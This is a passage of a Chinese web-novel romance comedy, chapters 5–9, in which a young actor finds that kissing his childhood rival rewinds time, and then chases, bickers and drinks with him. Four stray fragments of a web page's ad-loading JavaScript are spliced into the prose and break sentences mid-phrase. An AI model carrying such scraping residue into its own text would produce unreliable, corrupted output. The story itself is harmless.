谢明然依旧如背后灵一般如影随形,并道:“沈今越,这么多年不见,你看人的眼光一如既往差得叫人惊叹。” 吱—— 沈今越脚下一刹,转身,谢明然身子往前一晃,差点撞上来。 面对沈今越的怒视,谢明然仗着身高优势低头回看,褐黑色的眼眸里是沉静一片。 “怎么?我说错了?” 就是这个眼神!就是这个语气!就是这个面无表情的样子! 上帝!玉皇大帝!酆都大帝! 随便谁都行,能不能来个人把谢明然塞回宇宙大爆.炸之前啊?! 沈今越一把揪住谢明然的领口,拳头刚起,刷拉一下,目光扫过谢明然的唇,定住了。 他忆起一件正事。 5. 【005】 “你昨天来……不对,你今天来这做什么?”沈今越问得气势汹汹。 “和你有关吗?”谢明然微敛下颌,目光停在沈今越揪起他领口的手背虎口红痣上,“你什么时候开始在乎我的行踪了?” “哦,不对,以前为了在上学路上避开我,有些人也是跟踪过我一段时间的。” 有些人拳头更硬三分:“别打岔,问你话呢。” 谢明然掀起眼皮看着沈今越:“你问我就得说?我们什么关系?” 沈今越咬咬牙,把刚拿到手的红票子抽了一沓塞回某人裤兜。 “找个人。”谢明然从善如流答,“还想问什么?买一赠一,知无不言,言无不尽。” 沈今越当然不会自作多情地以为谢明然是来找自己,他又不是有病。 瞄了眼谢明然,他神色如常,从今天见到他的那一瞬间就如常得很。看来谢明然也不记得昨天发生的事了。要是记得,他只会避之不及地远离这酒吧,亦或是在见面后率先丢出一个作呕的表情。 从目前的时间线来看,昨天他迷迷糊糊亲上的人十有八九就是谢明然本然。 要是那一道魔女般的声响没有骗他,亲吻谢明然,极有可能是开启回溯超能力的开关。 前提是,这玩意儿不是一次性的。 沈今越的眼神又从谢明然的唇上扫过,一下,两下,他正拼命地给自己做着心理建设。 平心而论,谢明然长得不丑,甚至可以称得上帅,把他放在表演系里他都靠自个的五官和身材脱颖而出。但要沈今越在清醒的情况下主动让自己的面部重要器官与谢明然的进行触碰…… 喵耶,想死。 在沈今越过去的豪言壮语里,最值得铭记的一句话是:谢明然,对,我是喜欢男人,但你放心好了,就算全世界的男人死光了,我也不会喜欢你。 要他亲谢明然?如果回溯不发生,谢明然岂不是能用这件事嘲笑他一辈子? 正冥思苦想着,谢明然说:“眼睛抽筋了?” 沈今越:“滚!” 沈今越纠葛许久,好奇心终于打败了耻辱感,强烈想要穿回到一百天之前的意愿打败了一想到要跟谢明然打啵而产生的不适感。 他疯狂告诫自己:亲一下而已,就当在剧组演戏,又或咬一口狗罢了。 “问题就免了。”沈今越借着抓领口的姿势说,“帮个忙,站着别动。” 深呼吸一口气,就这么一鼓作气地死死瞪着猫一样的大眼睛,准备毫不留情地撞上去时,谢明然脑袋往旁一歪。 沈今越扑了个空,下巴撞到谢明然的肩膀上,他疼得皱眉:“不是让你站着别动吗?” “抱歉。”谢明然答得毫不走心,“面对恐怖袭击,闪躲是求生本能。” 沈今越:“……” 恐怖袭击? 这么一张37度的嘴对着他如此优秀的一张脸怎么说得出此般冰言冷语? 鲨了,他真的要把谢明然鲨了。 沈今越那面对谢明然才会强烈显现出来的好胜心被激起来了。 一只小恶魔张牙舞爪地在他脑海里举起小叉。 他就不信邪了,他还啃不到谢明然一口? 沈今越啪地一下抬手,两只手摁住谢明然的脑袋,把他的头颅锁死在掌间,嘴巴张开,凑近,再凑近—— 谢明然反手格挡,这人力气什么时候变这么大了?沈今越来不及反应,谢明然就身子往下一蹲,后退一步,迅速与沈今越拉开半米距离。 沈今越抓狂:“你跑什么?!” 谢明然大为不解:“我不跑才奇怪吧?!” 沈今越:“……”也对。他们俩也不是什么合情合理合法接吻的关系。 他一下夹起嗓子,用那种狼姥姥哄小红帽的语气说:“亲爱的谢明然,打个商量,你能不能就站在原地,莫名其妙被我亲,哦不,咬一口呢?” 谢明然:“你觉得呢?我的脑子看起来很有病吗?你疯了?喝了多少疯成这样?刘奶奶家那条狗十年前咬你的那一口狂犬症终于发作了?” 沈今越无视后半句话,抓住前半句借口:“呜呜,我失恋了,喝点小酒,买点大醉,没毛病吧兄弟?” “你就看在我失恋的份上——” 沈今越冲着谢明然抓过去,谢明然转身就跑,毫不犹豫。沈今越都被他这灵敏的英姿震慑到,下一秒,他狂暴了。 “谢明然!!” 不服,超级不服。 这下他真非把谢明然逮住,狠狠地摁在地上啃个痛快不可!让他这个该死的直男见识一下什么叫人间险恶。 沈今越脚下生风,飞快地追了上去。 若这场景放在校园,背景音里一定少不了播音主席台上念诵着的加油助威词。 看啊!运动健儿们!他们如离弦的箭一样射了出去,似草原野马般奔腾着! 可惜,这是凌晨时分,酒吧一条街,正是热闹时候。午夜的霓虹灯在白日雨痕上反射出的绚烂光影,高跟鞋踩碎一地迷幻,敞开的大门响彻着喧嚣的音乐。受不住的人跑出来中场休息,站在街边,抽烟解乏。 谢明然和沈今越就这样从这街道上奔跑而过。 沈今越大口大口喘着粗气。 喵喵的,谢明然的体力什么时候也变这么好了? “你——你有种就给我站住,别跑——”他喊。 谢明然显然没种,以一种稳定的速率继续向前奔跑。 沈今越腿一软,决定放弃了。他爆发力强,耐力一般,长跑不是他的强项。不行,得想想别的办法。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 正此时,他听到身旁女同志豪气地一声喊:“来人啊!抓小偷!” 小偷?哪有小偷? 他本能地抬头想要帮忙,瞧见的就是女同志脱下高跟鞋朝着谢明然的背影砸去的瞬间。 “……” 很显然,谢明然并不知道小偷就是自己,也停下脚步,回头探寻。 就这么个空隙,他被路人拦住了。 女同志热心地说:“小哥,别怕,人我帮你抓到了啊。” 沈今越强忍着笑,将计就计,柔弱无力地对好心人说:“谢谢,女士,你真是个好人。” 美女姐姐被他演戏起来看狗都深情的眼睛晃得头晕,母爱之心顿起,嘴角比AK还要难压:“哪里哪里,路见不平,拔刀相助,助人为乐而已啦~!” “你还有什么要帮忙的,尽管对姐姐开口!” “没事的姐姐,我带他去警局就好了。”他上前,挤入人墙之内,拽着谢明然的衣袖,把他往外拖。 谢明然不挣扎了,沉默如羔羊,跟随着他的主人。 走了好久,人烟罕至之地,谢明然才用疑问至极的语气说:“我看起来很像小偷?” 沈今越:“小谢呀,这我很难评,毕竟偷感是一种天赋,而我没有,嘻嘻。” 谢明然:“……”不嘻嘻。 “姓谢的,既然大家都跑累了,能不能坐下说点交心话。” 谢明然强调:“我不累。”他体力很好,只是心累。 声名在外二十四年,谢明然头一回被人当做小偷。他短时间内很难从中走出来。 “我累了。”沈今越坦白道,“我这么跟你说吧,谢明然,就一口,你让我啃一口,行不行?你别问为什么,我发誓,一口,就一口,一辈子就这么一口,我以后绝对离你远远的。实在不行,你开个价啊,反正你就喜欢从我手上赚钱,给你机会,这次赚个够。” 他以为谢明然会问为什么,谢明然没有,这人只是转头看过来,黑深带褐的眼眸叫沈今越看不清他在想什么。 两人对视着,无人言语,凌晨的风裹挟着不远处路人的笑闹声温柔吹来。 “五百。”谢明然低声说,抬手扣住沈今越的后脑勺,作势低头,看起来是要真的啃下来。 就这么个掉钱眼里的家伙!沈今越冷哼一声,迅速伸手捂住谢明然的眼睛,不爱看他这两颗眼珠子,瞧人的时候总瘆得慌,搞得他心里直突突。另外一只手摁住他的肩膀,微微踮脚,反客为主地贴了上去。 当真是贴。 没有感情,没有技巧,纯贴上去。 一秒、两秒、三秒—— 无事发生。 沈今越脑海里拉响尖锐鸡叫版鸣笛。 完了。 这下全完了。 6. 【006】 四下无人,万籁俱寂,社死的症状在沈今越身上显露无疑。 他尴尬地松开手,后撤一步,与谢明然保持着适当的社交距离。 沈今越必须承认,他刚刚那么发疯的确是有赌的成分。是他轻信谗言,是他冲昏了头,还以为就这么啵上去以后魔法就能发生。哈哈,事实证明,啵上去以后留给他的只有水灵灵的社死。 一摆脱他双手的制裁,谢明然的双眸就直勾勾地过来。 沈今越心虚地往旁看去。 谢明然矜持地整理了下被沈今越强行拽歪肩侧衣服。 沈今越余光看到这一幕,默默地往后又小挪一寸。 “啃好了?”谢明然问。 沈今越支支吾吾嗯嗯两声。 谢明然又问:“过热的大脑终于降温冷却了?” 沈今越理亏,瘪瘪嘴没反驳,低头盯着自己的鞋尖,踹了下地面上不存在的小石头。 谢明然再问:“就这么喜欢他?失恋把你打击成这样?” 这话沈今越是忍不了一点的。 “呸呸呸,说什么呢?”他明眸怒瞪,“劳资喜欢他个——” 沈今越用极强的控制力收了音,眼泪说来就来,“你都知道,那你还说什么?非要扒我的伤口才好吗?”送上门的借口真是不要白不要。“谢明然,对不起。”他老实巴交地道歉,“都怪酒精,酒精是个坏东西。” “我们就把这件事忘掉,好不好?” 仰头四十五度,我见犹怜的神情,真诚哀求的模样。 谢明然微微挑眉:“你真喝酒了?” 沈今越:“不然?” 谢明然用做学术报告的语气平铺直叙道:“我还以为你醉奶了。你凑过来的时候嘴里都是牛奶的味道——” “啊啊啊啊啊啊啊啊——” 我方沈今越发动音波攻击,打断敌方谢明然的污言秽语。 “闭嘴!谢明然!你闭嘴!”沈今越的内疚不占理形态仅仅维持了一小会,他很快就从道德洼地自主地爬了上来,飞快地给自己垒起一块小小山头,站在上面,振臂摇旗,义正言辞地警告谢明然,“给我忘了,听见没?全都给我忘了!” “要是你敢和别人说这件事……”沈今越紧握拳头凑到谢明然眼前,“你知道后果!” 谢明然:“什么后果?噢,你要请我吃奶味小馒头?” 刚刚就该一口啃死这丫! 沈今越脑中的某根神经断掉,他掰着两手的指关节,活动着颈部,抿嘴一笑,夹着嗓音说:“对,超甜超好吃哒,你要不要试试呀?” 沈今越差点要动手了,大招蓄力,熟悉的声音忽然打断他的前摇。 “小帅哥,你们不是去警局了吗?”刚刚那位热心肠的美女姐姐和她的三俩朋友走过来,瞧见这场面,纳闷地眨了眨大眼睛。 沈今越默默地把手抚摸上颈部,佯装自己在按摩僵硬的肌肉,他抢在谢明然开口说话之前答:“姐姐,我想了想还是算了,他也不容易,他也跟我道歉啦,这事就这么算了吧。” 谢明然可不想这么算了。 他问:“你的眼睛——” “我还是送他去警察局吧!”沈今越抬手拦住路过的出租,风驰电掣地把人塞进去,打断他的话语,麻溜地跟好心人道别。 谢明然很不开心。 沈今越无视他不乐意的神情,问:“你住哪,车都上了,顺道把你送回去。” 谢明然报了酒店的名字。 沈今越随口问:“回国来这旅游啊?” 谢明然:“你真的关心吗?” 沈今越闭嘴了。 空气静滞下来。 过了会,谢明然问:“所以你到底为什么要亲我?” 沈今越笑了:“啊?你真的关心吗?” 谢明然:“…………” 非要提这事,沈今越也有问题想问:“你刚刚为什么要同意?是,我发疯是我不对,但退一万步讲,你为什么要同意呢?” 谢明然要是不答应他—— “不同意,以你疯狗一样的个性,你会放过我?继续跟你玩老鹰捉小鸡?我可不想再被当做小偷。” “真不时髦。”沈今越切了一声,“那分明叫他追他逃。”还有,谁是疯狗?! “承认吧,谢明然,你就是——” “我没有。”谢明然本能地反驳。 沈今越皱眉:“你不是就奔着那五百块去的?钱给你,都给你,拿好了。”从身旁人那顺手摸过来的一叠钞票再次物归原主,沈今越将之塞进谢明然的掌心。 谢明然的指尖摩挲着票子边缘,感受着上面的刻纹:“感觉亏了,这不本来就是我的钱吗?” 沈今越:“……”好有道理。 “二维码拿来,我扫你。……不是这个,谁要加你好友啊?我要收款码。喏,五百,扫过去了。” “真大方。”不知为何,沈今越听谢明然说这三个字怎么听都觉得阴阳怪气。 他哼了一声,不再多语。 谢明然的话倒是多了起来。 “从没见过你给我钱这么爽快的,看来分手对你影响不小。怎么分的?说来听听。” “…………”沈今越转头瞪他,“你今天怎么这么八卦?等着看我笑话是吧?谢明然,你装什么装呢?在巷子口不是都听得一清二楚了?出轨,劈腿,还能怎么分?你以为分蛋糕啊还得 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 整出个三四五等分。” “出轨?劈腿?谁?他?” 说不清谢明然讲这几个字的时候语气是如何的,反正在沈今越听来,不怀好意,甚至带着些许嘲弄。他胸口强行积压着的情绪在这一个接一个的问号里破冰而出,滋啦滋啦于心头破开裂痕。 “对,他出轨,他劈腿,我有眼无珠,看我做什么?我知道我很蠢,什么都没发现,他爹的,蠢死了。……怎么会有我这么笨的人?” 被瞒了多久?按李佳文的说法,他跟徐云早在三个月就搞上了。沈今越在这一刻清楚地意识到,他身体里躁动的愤怒不是针对徐云的,而是毫不留情击向自己的。 他骗了施音,他依旧很在意这一点。 “恭喜你,沈今越,活了十九年,终于对自己有了个清楚的认知。”谢明然仰头靠着车椅,语气散漫,“你的确蠢得要死。” “……”他真想喊司机停车,一刀捅死谢明然,把他抛尸在此。 酒店的标牌远远地闪烁在一片缀着零星灯光的高楼里。目的地快到了,这辆与谢明然同行的车也终于快到尽头。 “没事老往自己身上找毛病干嘛?你不是很时髦吗?怎么没学会从别人身上找毛病的基本时代精神?合理怀疑过路的狗在边撒尿你都要往自己身上找原因。” “胡说八道!我又不是导尿剂!我往自己身上找什么原因!” “嗯咯。”谢明然松散道,“所以,前男友那条狗到处乱撒尿,关你什么事?” 出租车带着绿色停在了酒店门口。 谢明然伸手拉门,沈今越张了张嘴,挤出来三个字。 “谢明然。” “嗯?” “你今天突然好像个人啊。”这库库一顿说把他都给整恍惚了,“安慰我干嘛?你刚刚是在安慰我吧?!有阴谋?……等等,你待会不会要按字收费吧?” 谢明然盯着他,片刻后—— “傻逼。” 沈今越:“……。” 看在他现在心情不错的份上,懒得跟谢明然计较这不孝之词。 有件事倒是该说道说道。 “姓谢的,我要强调一句,今天发生在你和我脸部之间的行为不能叫亲,你懂吗?那只是一个简单的不含任何其他意义的触碰。这都能叫亲的话,你难道没亲过其他人吗?” 谢明然搭在车内把上的手放了下来。 沈今越犯贱的嘴一下紧紧合上了,讷讷地说:“不是吧,谢明然,那、那是你初吻?!” 沉默许久的司机师傅终于在这一句话后凸显了自己的存在感。 “先生,你还要下车吗?还是你们要一起下车?这是临停区,不能久留啊。” 7. 【007】 九月四号,凌晨三点。 施音推门而入时,整个屋子黯淡一片,唯有客厅的电视大屏闪烁着微光,电影的配乐与台词欢快又吵闹地响着。 一级警报。 施音蹑手蹑脚地关了门,换好鞋往里去,一眼就扫到沈今越窝在沙发上,额前刘海被小粉花夹别了起来,身子乱七八糟,饼一样摊散。 她没说话,转身去冰箱拿了一瓶可乐,临着沈今越身下的沙发旁就地坐下。 滋滋滋的气泡声混进激昂壮烈的BGM里。 施音一口气喝了半瓶,舒爽地长叹一口气,扭头看向一脸麻木盯着电视的某人。 跟沈今越认识这么多年,施音知道他的小怪癖。情绪不好的时候喜欢看爆米花电影又或人尽皆知的大烂片,电影里演得热火朝天时,他就一脸面无表情地盯着屏幕,间或跟着情节笑两声,笑完又冷了脸。 精神分裂一样。 现在电视上放的这部《AA大战BB》的片子,在施音的印象里,沈今越看了六遍。 第一遍是他那不靠谱的爹不让他学表演的时候,第二遍是他被集训课上的形体老师动手动脚,第三遍是首次去当群演被人欺负…… 现在是第七遍。 施音暗道不妙:“这电影都看上了?采访一下,茸茸同学,你现在是一个怎么样的状态呢?伤心?” 沈今越两眼无神地接:“报告老师,我目前的人物状态不是伤心,我现在是绝望,崩溃,噢,还夹杂了一丝不知所措的内疚。” 施音:“哎呀,你这个人物状态有点复杂哦。那老师再能问一下吗?是什么样的戏剧情节导致你这个人物有现在的状态呢?” “老师记得,上次分手戏以后,这个人物的情况还不错啊。” 沈今越:“这个人做了一件荒唐的事,亲了一个不该亲的人……” “卧槽!”施音立马出戏,手中可乐‘噔’地一声放在茶几上,“你艳遇了!?” 沈今越被这个词恶心得一哆嗦。 施音已然浮想联翩:“可以啊沈茸茸,看不出来,你还有点无缝衔接的能耐啊。可以,可以,这事我准了啊,旧的不去新的不来。呸,傻逼徐云,遇到宝了还不知道珍惜,别让老娘碰到他,见一次我打一次。” “你别乱说啊!!”沈今越赶紧解释,“什么无缝衔接?我衔个鬼啊。” “那是因为——”沈今越激昂的语气突然降下来。他怎么跟施音说?说他遇到了魔法? “少女,你相信奇迹吗?”他严肃地询问,“我好像穿越时空了。” “我相信第六人民医院精神科的周大夫。”施音也严肃地拍拍他的肩膀,“她水平不错,人也好,要不我帮你挂一个吧?” 沈今越:“………………”他真没疯! “不对,你怎么突然回来了?”沈今越到现在才反应过来这事,“你不是去隔壁市跟组了吗?” “我太担心你了所以丢下日薪2000的活滚回来了,和我忍无可忍跟傻逼男导演干起来所以临时被开了,你选哪个呢宝宝?”施音笑得温柔如花。 沈今越也乖乖笑起:“妈咪,我就知道你是最爱我的。” 施音摸摸他的脑袋,笑容在喝剩下半瓶可乐时渐渐隐去。 “施音,你知道的,那肯定不是你的问题。”沈今越忽然说。 施音:“我都还没说啥事呢,怎么就不是我的问题了?” 沈今越:“嗐,我们都是时髦的年轻人,要学会从别人身上找毛病的基本时代精神!” “跟徐云那事你想通了?” “通了,他丫纯傻逼。”过了会,他又说,“好吧,现在又稍微堵了一点。我发现他这人存在着典型的听不进人话症状,极度自我,且无法承担责任。” “然后?” “在他追了我一年都没听进去我的拒绝时,我就应该认识到这人有这些毛病了。” “可你那个时候没看见,或者看见了,没往心里去。” “对呀,所以说在这一点上,我有点笨。” 施音撑着下巴,晃着仅剩零星一点的可乐瓶:“真不公平啊,站在现在的你角度去看过去的你,说这种话。不过,也对,我们总喜欢说过去的自己的坏话呢。” “老实说,我今天在片场跟导演大吵一架。他花钱请我去当摄影,却又不愿意让我碰器材,说是找人算了,这几天女人碰机器不吉利,叫我在旁边顺灯线。我靠,我心想,大清早亡了啊爷爷!我吵架的时候觉得自己特牛,被开的时候也没所谓,往外走,看了眼余额,想到我存了等于没存的留学基金——” “那特么可是两千日薪。” “我有毛病?我就非得掌机是吧?我当个闲人站在旁边我硬蹭赚钱不好吗?” “我转头就往回走了,然后听到他们说,女摄影就是不靠谱,算命的正准啊。” “你懂吗?沈茸茸,我突然觉得我回头的行为特别恶心,但——” 沈今越大叹:“两千块日薪,我懂。” 两人对视,相顾无言,沈茸茸也去拿了可乐,跟施音碰杯。 施音抓了把头发,看着手机,名为(内鱼救猩)的四人小群亮起新的消息。 “林妍下播了,雀雀也还没睡,咱几个好久没聊过啦,我在群里拨个视频?” 沈今越说好,手机屏幕被分割成三个长方形,他俩共用一个镜头。 林妍先在群里发了红包。 施音:“你干嘛?今天又赚着大哥的钱了?” 林妍:“成天都赚。” 林妍:“小茸分手,发个红包,见者有份。” 崔崔傻了:“啊?茸茸分手了?” 林妍:“……我这个退学的人都知道这事了,你在读的怎么还不清楚?” 崔崔取下眼镜揉揉印堂穴:“赶剧本,暑假让写的剧本还没写完。” 林妍:“好险,差点就有书读了。” 沈今越纳闷:“雀雀,你不是上学期期末大纲都在老师那过了?分场你不是也说,上个月就开始构思了吗?” 崔崔:“嗯,构思了一个月,昨天开始写。” 崔崔:“哈哈!想不到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吧!我是日码三万字的神!” 沈今越和施音对看一眼。 此群精神状态堪忧.jpg 学电影哪有不疯的啊.jpg 林妍聊回沈今越分手这事,跟着施音骂了半个小时渣男,听说沈今越忍无可忍动手后,拍掌叫好,又担心这傻逼以后会不会再找上门来。崔崔一边赶稿一边听着,间或发出一阵迷茫的跟不上节奏的‘啊’声。 “下回咱不找这样的了。”林妍说,“避雷这款。” “可别下回了。”沈今越想想就麻烦,“不要不要。” 施音贼笑起来:“人家茸茸已经有新目标啦!” 林妍:“谁?我们认识吗?是骡子是马带出来遛遛。” 沈今越抗拒万分:“真不是!别胡说!还有——我这辈子都不会再见他了!遛不了一点啊!” 沈今越是认真的。 他不可能在已经于谢明然面前如此丢脸的情况下还送上门去找嘲。 绝、对、不、可、能。 · 九月四号,晚上十点,熬了一天的沈今越决定睡觉。 他再次感觉自己睡了一会,又感觉自己睡了一个世纪。好熟悉的感觉。 仿佛做梦,时空抽动,眼前的一切是巨大的投影屏幕,它倒帧,闪回,身体的五脏六腑就像是丢进了滚筒洗衣机里,也许某位大难不死的男孩使用门钥匙时会和他有一样的感受。 魔法再临。 沈今越强忍着不适,睁开眼,他看见徐云正靠着墙哀求。拿出手机看了眼,九月四号,零点。 看来回溯是真的存在,不是一次性的,虽然无法回溯到一百天前这件事让沈今越有些小小失望,不过回到零点重启一天,也依然不错。 谢明然当真是开启魔法的关键。 虽然沈今越短时间内还没想出来就这么时光倒流一天能有什么用,他人又不在45路公交车上,没有爆炸案需要他解决。 但—— 秉持中华人民良好的来都来了的优良传统,沈今越决定忍辱负重地换一个方式开启他与谢明然的重逢。 他转身离开,走出小巷,在最接近光亮的地方,如期见到了一道身影。 他走过去,每一步里都在构思等下要怎么表演,他决心一改昨日的不妙,让他和谢明然的重逢有个良好且完美的开头,以此为接下来的一切打下基础。 在距谢明然半米的位置停下,扬起笑容,用旧友多年未见的表情同其打个招呼,再喊一声临时极限返场的‘明然哥’。 脑子想得很清楚,可在明明白白见到谢明然那张脸的时候,身体里方才被强压下去的不适感一瞬复涌。 沈今越立刻迅速地朝挡在自己身前的人拍了一巴掌,将之推开,越过他,快步跑到不远处的垃圾桶旁。 好不容易吐了个舒服,虚弱地抬眸时,正看见谢明然阴云密布的一张脸,以及,脸上清楚无比的红色巴掌印。 ……草。 这不是他想要的久别重逢啊?! 现在再重新回溯一次,还来得及吗?! 8. 【008】 “没什么想解释的?” 谢明然问这句话的时候,沈今越正咕噜噜把从便利店买的漱口水吐出来。他用纸巾擦擦嘴角,揉成一团,丢进垃圾桶里。 “意外。”他嗓子干涩,声音带哑,“你就……你就当我喝多了吧。” 他才不会告诉谢明然回溯的事呢。 拧开矿泉水瓶,猛喝两口,沈今越感觉身体状态好多了。 怎么第一次回溯的时候没这么难受?那算什么?魔女赠送的新手福利? 沈今越瞄了眼对方,脸色难看,巴掌印还没消。噗嗤,真好笑。笑不过一秒,他又强行在谢明然阴黑的表情下控制住自己的嘴角。 人在屋檐下不得不低头。 他现在可不能随便招惹得罪谢明然了。 没了谢明然,他拿什么回溯? “对不起啊。”他真心诚意地说。 谢明然:“如果你眼角下弯的角度能再消失一点,沈今越,我也许还会接受你的道歉。” 沈今越:“……” 他没辙地把脸凑过去:“那怎么办?你打回来?” 谢明然扬眉,抬手。 沈今越:“——等等等!” 他想到二人之间多年来的积怨,想到谢明然昨天从他手下逃走的一身蛮力,想到自己这么好看的一张脸。 “后悔了?”谢明然嘲讽,“你这诚意比纸还薄。” 沈今越硬着头皮说:“你打可以,但是,谢明然,我警告你,我是靠脸吃饭的,你知道吗?这是一张以后要买千万保险的脸,你——” 谢明然一巴掌将他的脸推开,不痛,但沈今越还是很担心,赶紧掏出手机看,没红没肿,他松了口气。这要是打出问题,他今天还得再亲一次谢明然。这到底是魔法还是惩罚?! “白痴。”谢明然说。 沈今越在心里暗暗发誓。 迟早有一天,他要谢明然死在他手里。 迟早,但不是现在。 这家伙还有用处。 “我还没说你呢。”他嘀咕,“夜黑风高,一个人偷偷摸摸蛐蛐在那巷子口干嘛?怎么?想随地大小——” “沈今越。”谢明然慢却直接地打断他的胡言乱语,“有个角色你不演实在可惜了。” “什么?”提到演戏,沈今越眼眸一亮,“这么多年,你终于也看出我的天分了?” 谢明然:“是啊。” 他似一只小鸟,洋洋得意地用喙尖梳理了毛发,昂首挺胸:“嗯哼,什么角色,说来听听?” “一个被贬下凡的神将。” 沈今越啧啧两声:“没想到啊,谢明然,你也懂仙侠?” “四大名著我还是看过的。”谢明然语气淡淡。 “谁没看过?《红楼梦》《水浒传》《西游……》” 沈今越察觉到不对了。 他幽幽转头盯着谢明然:“姓谢的,你刚刚说的那个角色,不会恰巧姓朱吧?” “怎么?不合适?”谢明然褐黑色的眼睛深深地望着他,说,“倒打一耙,你不是很会吗?” 是可忍,孰不可忍。 忍无可忍,无需再忍。 去他爷爷的回溯,他今天就要谢明然好看!! 沈今越歘地一下把手里没喝完的矿泉水瓶超谢明然砸去,谢明然早有先见之明地拉开距离,抬手接住水瓶,轻松无比地往上抛了两下,空掷进不远处的垃圾桶中,点评:“不守公德,这点也像朱先生。” 沈今越张牙舞爪地朝着谢明然攻去,后者闪躲,间或回击。 “诶,今越?” 正使出佛山无影爪的越猫猫被这一声喊硬控3s,他扭头,发现先前帮他一块捉奸的同学组团出现在这。 沈今越的神情迅速收敛:“你们怎么在这?” “徐云那事太让人闹心了,我们几个干脆就约着出来玩玩。”同学说,“你也在呢,这位是?” “朋友。”沈今越柔声道,“他听说我的事了,特地陪我出来散心。” 谢明然眉峰微扬:“有吗?” 众人看不到的角度,他一手死死掐着谢明然的手臂。 “怎么没有?我亲爱的好朋友。” 谢明然不说话了。 同学热切地邀请沈今越一块,沈今越婉拒,前者依依不舍,又跟谢明然痛斥了一番沈今越的渣男前男友后这才道别,确认对方走远,沈今越立刻与谢明然拉开距离。 “躲什么躲?不是好朋友吗?”谢明然长臂一伸拽着人将其拉回,两人的肩膀又紧凑到一块,仗着身高优势,谢明然自上而下地瞧过来,“亲爱的好朋友,十年如一日演戏,不累吗?” 出现了,谢明然脸上沈今越最讨厌的表情。 高高在上,自诩看破一切的刻薄眼神。 “你在他面前也这样?” “谁?” “你那位不知好歹有眼无珠目光短浅卑鄙无耻鬼迷心窍的前男友。” “关你屁事。”沈今越烦躁地从谢明然手里挣脱出自己的手臂,与他再次拉开距离,警告,“还有,别在那叽叽歪歪拽你的成语辞典,知道你有文化了。” 谢明然古井无波淡定回:“我只是在复述你同学的描述。” “是吗?”沈今越,“我可没听到他们说了这么多词。” 没有吗?谢明然突然记不清了。 见他难得吃瘪,沈今越笑笑。 “对有些人来说,活着就是一场表演,谢明然,只是你不需要而已。”他懒得跟谢明然争下去,也不想再实施先前的计划。要让他跟谢明然和平相处,拉近距离?不可能。 沈今越转头就走,不出十步,他停下来,扭头看身后的人:“你跟着我做什么?” 谢明然:“如你所见,陪你散心。” 沈今越:“……” 散个毛,他只觉得闹心好伐?! 他憋着一口气快步往前走,谢明然保持着一米的距离跟随其后。 沈今越再受不了,顿然停下脚步:“你到底要干嘛 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?” 谢明然两手插兜,语气散漫:“陪你散心啊。” 沈今越:“……” 傻逼。 故意变着法恶心他是吧? 他气不打一处来,缓了半晌,头脑里叮叮当冒出来个新主意。 两手揣兜里,大摇大摆地往外走。昨天在这追着谢明然跑了一圈,路上一处环境不错的清吧。 他寻找着。 “就这家了。不是陪我散心吗?要求不高,喝两杯就好。” 谢明然跟在他身后,在沈今越跟服务员要酒单的时候,他正从衣兜拿出消毒湿巾,仔细地擦拭着桌面。 沈今越在酒单上挑毕,把单子推给谢明然,谢明然看了半晌。 沈今越:“怎么?没喝过?” 酒单被一根手指推回来。 谢明然:“都可以,我不挑。” 沈今越讶然:“那我给你点了。” 他还计划叫谢明然喝醉露出丑态,拍下来,当做把柄拿捏对方,哪晓得…… 看来这下得酣战到天明了。 点完,沈今越拿出手机,看了眼时间,打开施音的对话框,转过去两万块。 melody:? melody:喝醉了? 只茸:宝宝今天永别渣男,心情好,赏你了。 只茸:其实是之前的推广费尾款终于结下来了,你快收呢~ 后面那句是沈今越胡说的。 他只是想,回溯虽然没办法往前走一百天,但可以让今天的施音心情再好一点。 melody:^^ melody:谢谢老板! melody:[主人我永远跟着你走!] 沈今越被逗笑。 谢明然的声音冷不丁从对面飘过来:“不是分手了?和谁聊天呢,这么开心?看来昨天的事对你也没什么影响。” 沈今越放下手机:“你想要什么影响?哭天喊地,要死不活?放心吧谢明然,我不会给你这个看我笑话的机会。” “你呢?谈恋爱了吗?”沈今越主要是想借机打探一下谢明然初吻问题。 “你觉得呢?”谢明然面瘫着一张脸,眼神挑剔到极致,“我看起来会喜欢谁?” “谁都不会。”沈今越呵呵一笑:“我掐指一算,你这是寡王之相。”这家伙就长了一张不会喜欢人类的脸。 “谢明然,你寡着挺好,千万别流出市场祸害他人。”这话他讲得真心诚意。 谢明然双腿交叠,身子往后一靠,拎起眼皮扫过来:“目前我生活里需要应对的人类数量已经足够,没必要自找麻烦,再寻一个人影响自己的生活质量。” 沈今越掰着手指数:“叔叔,阿姨,棠棠姐,你那个姓裴的朋友……还有谁?谁这么倒霉?” 谢明然的身子往后靠了些,对用黑盘端酒上来的服务员道了声谢。在遮挡的手臂从两人之间抽离后,谢明然的目光越过桌面上两杯色彩漂亮的调酒,横直无碍地撞了过来。 9. 【009】 沈今越呼吸一紧。 “最后那个倒霉蛋……不会是我吧?” 谢明然:“不必太感谢我。” 沈今越真想把酒泼到谢明然脸上。 “小的谢谢少爷呢。”他阴阳怪气,“小的何德何能啊。” 谢明然:“你觉得呢?” 沈今越呵呵一笑。 他觉得?他当然是凭借自己多年与这丫相恨相杀的实力拿到这该死的荣幸。 “少爷这话说得。不要我觉得,只要你觉得,你说得对,是荣幸呀。”他端起面前的350ml的透明杯,杯里是清透的冰蓝色,“来,少爷,请。” 谢明然面前的那杯和沈今越的一样。 他端起来,低头,鼻尖凑到杯口闻了闻,动作像大猫在试探什么没见过的液体。笨死了。沈今越心里笑话他,嘴上也不得闲:“怎么?不敢喝?” 他强行与谢明然碰杯,自己先喝一口,入口不烈,酒感偏柔。显然,谢明然也是这般认为。他丢过来一个‘就这?’的眼神,当着沈今越的面,一口气把这酒喝完了。 “继续。”谢明然说。 沈今越被吓死,心猛一缩,难道今天喝醉酒出洋相的人要变成他了?他咬咬牙,转头招呼人再将酒单递上,又起身,干脆去吧台,跟调酒师窃窃私语,讨论一番哪些酒度数更高。 为谢明然选定一杯天干马尼,沈今越向回走,一转身,就见方才骄矜的某人,现在已趴在桌上。 咚咚。 